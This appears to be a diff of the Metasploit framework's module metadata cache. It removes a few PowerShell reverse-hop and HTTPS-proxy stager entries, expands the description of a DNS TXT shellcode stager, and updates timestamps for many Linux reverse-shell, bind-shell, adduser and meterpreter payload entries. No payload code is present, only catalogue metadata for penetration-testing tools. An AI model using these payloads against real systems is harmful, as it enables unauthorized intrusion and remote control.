- "disclosure_date": null,
- "type": "payload",
- "author": [
- "Spencer McIntyre",
- "sf ",
- "scriptjunkie ",
- "bannedit ",
- "hdm "
- ],
- "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.",
- "references": [
- "URL-https://github.com/stephenfewer/ReflectiveDLLInjection",
- "URL-https://github.com/rapid7/ReflectiveDLLInjection"
- ],
- "platform": "Windows",
- "arch": "cmd",
- "rport": null,
- "autofilter_ports": null,
- "autofilter_services": null,
- "targets": null,
- "mod_time": "2022-05-27 16:41:25 +0000",
- "path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
- "is_install_path": true,
- "ref_name": "cmd/windows/powershell/dllinject/reverse_hop_http",
- "check": false,
- "post_auth": false,
- "default_credential": false,
- "notes": {
- },
- "session_types": false,
- "needs_cleanup": false,
- "payload_type": 8,
- "adapter_refname": "cmd/windows/powershell",
- "adapted_refname": "windows/dllinject/reverse_hop_http",
- "staged": true,
- "stage_refname": "windows/dllinject",
- "stager_refname": "windows/reverse_hop_http"
- },
"payload_cmd/windows/powershell/dllinject/reverse_http": {
"name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)",
"fullname": "payload/cmd/windows/powershell/dllinject/reverse_http",
@@ -215443,7 +218222,7 @@
"Spencer McIntyre",
"corelanc0d3r "
],
- "description": "Execute an x86 payload from a command via PowerShell.\n\nPerforms a TXT query against a series of DNS record(s) and executes the returned payload",
+ "description": "Execute an x86 payload from a command via PowerShell.\n\nPerforms a TXT query against a series of DNS record(s) and executes the returned x86 shellcode. The DNSZONE\noption is used as the base name to iterate over. The payload will first request the TXT contents of the a\nhostname, followed by b, then c, etc. until there are no more records. For each record that is returned, exactly\n255 bytes from it are copied into a buffer that is eventually executed. This buffer should be encoded using\nx86/alpha_mixed with the BufferRegister option set to EDI.",
"references": [
],
@@ -216205,53 +218984,6 @@
"stage_refname": "windows/meterpreter",
"stager_refname": "windows/findtag_ord"
},
- "payload_cmd/windows/powershell/meterpreter/reverse_hop_http": {
- "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager",
- "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_hop_http",
- "aliases": [
-
- ],
- "rank": 300,
- "disclosure_date": null,
- "type": "payload",
- "author": [
- "Spencer McIntyre",
- "skape ",
- "sf ",
- "OJ Reeves",
- "scriptjunkie ",
- "bannedit ",
- "hdm "
- ],
- "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.",
- "references": [
- "URL-https://github.com/stephenfewer/ReflectiveDLLInjection",
- "URL-https://github.com/rapid7/ReflectiveDLLInjection"
- ],
- "platform": "Windows",
- "arch": "cmd",
- "rport": null,
- "autofilter_ports": null,
- "autofilter_services": null,
- "targets": null,
- "mod_time": "2022-05-27 16:41:25 +0000",
- "path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
- "is_install_path": true,
- "ref_name": "cmd/windows/powershell/meterpreter/reverse_hop_http",
- "check": false,
- "post_auth": false,
- "default_credential": false,
- "notes": {
- },
- "session_types": false,
- "needs_cleanup": false,
- "payload_type": 8,
- "adapter_refname": "cmd/windows/powershell",
- "adapted_refname": "windows/meterpreter/reverse_hop_http",
- "staged": true,
- "stage_refname": "windows/meterpreter",
- "stager_refname": "windows/reverse_hop_http"
- },
"payload_cmd/windows/powershell/meterpreter/reverse_http": {
"name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)",
"fullname": "payload/cmd/windows/powershell/meterpreter/reverse_http",
@@ -216387,53 +219119,6 @@
"stage_refname": "windows/meterpreter",
"stager_refname": "windows/reverse_https"
},
- "payload_cmd/windows/powershell/meterpreter/reverse_https_proxy": {
- "name": "Powershell Exec, Reverse HTTPS Stager with Support for Custom Proxy",
- "fullname": "payload/cmd/windows/powershell/meterpreter/reverse_https_proxy",
- "aliases": [
-
- ],
- "rank": 300,
- "disclosure_date": null,
- "type": "payload",
- "author": [
- "Spencer McIntyre",
- "skape ",
- "sf ",
- "OJ Reeves",
- "hdm ",
- "corelanc0d3r ",
- "amaloteaux "
- ],
- "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over HTTP using SSL with custom proxy support",
- "references": [
- "URL-https://github.com/stephenfewer/ReflectiveDLLInjection",
- "URL-https://github.com/rapid7/ReflectiveDLLInjection"
- ],
- "platform": "Windows",
- "arch": "cmd",
- "rport": null,
- "autofilter_ports": null,
- "autofilter_services": null,
- "targets": null,
- "mod_time": "2022-05-27 16:41:25 +0000",
- "path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
- "is_install_path": true,
- "ref_name": "cmd/windows/powershell/meterpreter/reverse_https_proxy",
- "check": false,
- "post_auth": false,
- "default_credential": false,
- "notes": {
- },
- "session_types": false,
- "needs_cleanup": false,
- "payload_type": 8,
- "adapter_refname": "cmd/windows/powershell",
- "adapted_refname": "windows/meterpreter/reverse_https_proxy",
- "staged": true,
- "stage_refname": "windows/meterpreter",
- "stager_refname": "windows/reverse_https_proxy"
- },
"payload_cmd/windows/powershell/meterpreter/reverse_ipv6_tcp": {
"name": "Powershell Exec, Reverse TCP Stager (IPv6)",
"fullname": "payload/cmd/windows/powershell/meterpreter/reverse_ipv6_tcp",
@@ -222228,51 +224913,6 @@
"stage_refname": "windows/vncinject",
"stager_refname": "windows/findtag_ord"
},
- "payload_cmd/windows/powershell/vncinject/reverse_hop_http": {
- "name": "Powershell Exec, Reverse Hop HTTP/HTTPS Stager",
- "fullname": "payload/cmd/windows/powershell/vncinject/reverse_hop_http",
- "aliases": [
-
- ],
- "rank": 300,
- "disclosure_date": null,
- "type": "payload",
- "author": [
- "Spencer McIntyre",
- "sf ",
- "scriptjunkie ",
- "bannedit ",
- "hdm "
- ],
- "description": "Execute an x86 payload from a command via PowerShell.\n\nTunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\ndata/hop/hop.php to the PHP server you wish to use as a hop.",
- "references": [
- "URL-https://github.com/stephenfewer/ReflectiveDLLInjection",
- "URL-https://github.com/rapid7/ReflectiveDLLInjection"
- ],
- "platform": "Windows",
- "arch": "cmd",
- "rport": null,
- "autofilter_ports": null,
- "autofilter_services": null,
- "targets": null,
- "mod_time": "2022-05-27 16:41:25 +0000",
- "path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
- "is_install_path": true,
- "ref_name": "cmd/windows/powershell/vncinject/reverse_hop_http",
- "check": false,
- "post_auth": false,
- "default_credential": false,
- "notes": {
- },
- "session_types": false,
- "needs_cleanup": false,
- "payload_type": 8,
- "adapter_refname": "cmd/windows/powershell",
- "adapted_refname": "windows/vncinject/reverse_hop_http",
- "staged": true,
- "stage_refname": "windows/vncinject",
- "stager_refname": "windows/reverse_hop_http"
- },
"payload_cmd/windows/powershell/vncinject/reverse_http": {
"name": "Powershell Exec, Windows Reverse HTTP Stager (wininet)",
"fullname": "payload/cmd/windows/powershell/vncinject/reverse_http",
@@ -234150,7 +236790,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/stagers/linux/aarch64/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/meterpreter/reverse_tcp",
@@ -234302,7 +236942,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/stagers/linux/aarch64/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/shell/reverse_tcp",
@@ -234340,7 +236980,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
+ "mod_time": "2024-12-20 10:18:25 +0000",
"path": "/modules/payloads/singles/linux/aarch64/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/aarch64/shell_reverse_tcp",
@@ -234490,7 +237130,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2023-07-27 16:02:37 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armbe/shell_bind_tcp",
@@ -234526,7 +237166,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-09-22 12:55:41 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/armle/adduser.rb",
"is_install_path": true,
"ref_name": "linux/armle/adduser",
@@ -234562,7 +237202,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-09-22 12:55:41 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/armle/exec.rb",
"is_install_path": true,
"ref_name": "linux/armle/exec",
@@ -234599,7 +237239,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/stagers/linux/armle/bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armle/meterpreter/bind_tcp",
@@ -234639,7 +237279,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-23 14:26:44 +0000",
"path": "/modules/payloads/stagers/linux/armle/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armle/meterpreter/reverse_tcp",
@@ -234791,7 +237431,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/stagers/linux/armle/bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armle/shell/bind_tcp",
@@ -234830,7 +237470,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-23 14:26:44 +0000",
"path": "/modules/payloads/stagers/linux/armle/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armle/shell/reverse_tcp",
@@ -234869,7 +237509,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/armle/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armle/shell_bind_tcp",
@@ -234905,7 +237545,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/armle/shell_reverse_tcp",
@@ -235056,7 +237696,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2024-05-21 12:52:12 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/exec.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/exec",
@@ -235094,7 +237734,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-15 04:31:53 +0000",
"path": "/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/meterpreter/reverse_tcp",
@@ -235247,7 +237887,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/reboot.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/reboot",
@@ -235284,7 +237924,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-15 04:31:53 +0000",
"path": "/modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/shell/reverse_tcp",
@@ -235325,7 +237965,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/shell_bind_tcp",
@@ -235362,7 +238002,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsbe/shell_reverse_tcp",
@@ -235399,7 +238039,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2024-05-21 12:52:12 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/mipsle/exec.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/exec",
@@ -235437,7 +238077,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-15 04:31:53 +0000",
"path": "/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/meterpreter/reverse_tcp",
@@ -235590,7 +238230,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/mipsle/reboot.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/reboot",
@@ -235627,7 +238267,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-15 04:31:53 +0000",
"path": "/modules/payloads/stagers/linux/mipsle/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/shell/reverse_tcp",
@@ -235668,7 +238308,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/shell_bind_tcp",
@@ -235705,7 +238345,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/mipsle/shell_reverse_tcp",
@@ -235855,7 +238495,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2021-01-05 14:59:46 +0000",
+ "mod_time": "2024-12-19 12:13:55 +0000",
"path": "/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/ppc/shell_bind_tcp",
@@ -235891,7 +238531,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2021-01-05 14:59:46 +0000",
+ "mod_time": "2024-12-19 12:13:55 +0000",
"path": "/modules/payloads/singles/linux/ppc/shell_find_port.rb",
"is_install_path": true,
"ref_name": "linux/ppc/shell_find_port",
@@ -235927,7 +238567,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2021-01-05 14:59:46 +0000",
+ "mod_time": "2024-12-19 12:13:55 +0000",
"path": "/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/ppc/shell_reverse_tcp",
@@ -235963,7 +238603,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2021-01-05 14:59:46 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/ppc64/shell_bind_tcp",
@@ -235999,7 +238639,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2021-01-05 14:59:46 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/ppc64/shell_find_port.rb",
"is_install_path": true,
"ref_name": "linux/ppc64/shell_find_port",
@@ -236035,7 +238675,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2021-01-05 14:59:46 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/ppc64/shell_reverse_tcp",
@@ -236301,7 +238941,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2024-10-05 00:01:41 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/riscv32le/exec.rb",
"is_install_path": true,
"ref_name": "linux/riscv32le/exec",
@@ -236337,7 +238977,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2024-10-01 02:43:44 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/riscv32le/reboot.rb",
"is_install_path": true,
"ref_name": "linux/riscv32le/reboot",
@@ -236375,7 +239015,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2024-10-05 00:01:41 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/riscv64le/exec.rb",
"is_install_path": true,
"ref_name": "linux/riscv64le/exec",
@@ -236411,7 +239051,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2024-10-01 02:43:44 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/riscv64le/reboot.rb",
"is_install_path": true,
"ref_name": "linux/riscv64le/reboot",
@@ -236448,7 +239088,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-09-22 12:55:41 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x64/exec.rb",
"is_install_path": true,
"ref_name": "linux/x64/exec",
@@ -236485,7 +239125,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/stagers/linux/x64/bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x64/meterpreter/bind_tcp",
@@ -236524,7 +239164,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2023-04-27 16:21:34 +0000",
+ "mod_time": "2024-12-20 04:15:41 +0000",
"path": "/modules/payloads/stagers/linux/x64/reverse_sctp.rb",
"is_install_path": true,
"ref_name": "linux/x64/meterpreter/reverse_sctp",
@@ -236564,7 +239204,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2024-12-20 04:15:41 +0000",
"path": "/modules/payloads/stagers/linux/x64/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x64/meterpreter/reverse_tcp",
@@ -236716,7 +239356,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-09-22 12:55:41 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x64/pingback_bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x64/pingback_bind_tcp",
@@ -236752,7 +239392,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-09-22 12:55:41 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x64/pingback_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x64/pingback_reverse_tcp",
@@ -236788,7 +239428,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/stagers/linux/x64/bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x64/shell/bind_tcp",
@@ -236827,7 +239467,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2023-04-27 16:21:34 +0000",
+ "mod_time": "2024-12-20 04:15:41 +0000",
"path": "/modules/payloads/stagers/linux/x64/reverse_sctp.rb",
"is_install_path": true,
"ref_name": "linux/x64/shell/reverse_sctp",
@@ -236866,7 +239506,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2024-12-20 04:15:41 +0000",
"path": "/modules/payloads/stagers/linux/x64/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x64/shell/reverse_tcp",
@@ -236904,7 +239544,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-09-22 12:55:41 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x64/shell_bind_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x64/shell_bind_ipv6_tcp",
@@ -236940,7 +239580,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2021-01-05 14:59:46 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x64/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x64/shell_bind_tcp",
@@ -236976,7 +239616,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2023-07-27 16:02:37 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb",
"is_install_path": true,
"ref_name": "linux/x64/shell_bind_tcp_random_port",
@@ -237012,7 +239652,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2021-01-05 14:59:46 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x64/shell_find_port.rb",
"is_install_path": true,
"ref_name": "linux/x64/shell_find_port",
@@ -237048,7 +239688,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-09-22 12:55:41 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x64/shell_reverse_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x64/shell_reverse_ipv6_tcp",
@@ -237084,7 +239724,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2021-01-05 14:59:46 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x64/shell_reverse_tcp",
@@ -237122,7 +239762,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-09-22 12:55:41 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x86/adduser.rb",
"is_install_path": true,
"ref_name": "linux/x86/adduser",
@@ -237158,7 +239798,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-09-22 12:55:41 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x86/chmod.rb",
"is_install_path": true,
"ref_name": "linux/x86/chmod",
@@ -237196,7 +239836,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-09-22 12:55:41 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x86/exec.rb",
"is_install_path": true,
"ref_name": "linux/x86/exec",
@@ -237314,7 +239954,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x86/meterpreter/bind_nonx_tcp",
@@ -237434,7 +240074,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/stagers/linux/x86/find_tag.rb",
"is_install_path": true,
"ref_name": "linux/x86/meterpreter/find_tag",
@@ -237473,7 +240113,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x86/meterpreter/reverse_ipv6_tcp",
@@ -237512,7 +240152,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x86/meterpreter/reverse_nonx_tcp",
@@ -237746,7 +240386,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2021-01-05 14:59:46 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x86/metsvc_bind_tcp",
@@ -237782,7 +240422,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2021-01-05 14:59:46 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x86/metsvc_reverse_tcp",
@@ -237818,7 +240458,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-09-22 12:55:41 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x86/read_file.rb",
"is_install_path": true,
"ref_name": "linux/x86/read_file",
@@ -237935,7 +240575,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x86/shell/bind_nonx_tcp",
@@ -238052,7 +240692,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/stagers/linux/x86/find_tag.rb",
"is_install_path": true,
"ref_name": "linux/x86/shell/find_tag",
@@ -238091,7 +240731,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x86/shell/reverse_ipv6_tcp",
@@ -238129,7 +240769,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2020-09-22 02:56:51 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x86/shell/reverse_nonx_tcp",
@@ -238247,7 +240887,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2021-01-05 14:59:46 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x86/shell_bind_ipv6_tcp",
@@ -238283,7 +240923,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2021-01-05 14:59:46 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x86/shell_bind_tcp.rb",
"is_install_path": true,
"ref_name": "linux/x86/shell_bind_tcp",
@@ -238321,7 +240961,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb",
"is_install_path": true,
"ref_name": "linux/x86/shell_bind_tcp_random_port",
@@ -238357,7 +240997,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2021-01-05 14:59:46 +0000",
+ "mod_time": "2025-01-14 09:31:03 +0000",
"path": "/modules/payloads/singles/linux/x86/shell_find_port.rb",
"is_install_path": true,
"ref_name": "linux/x86/shell_find_port",
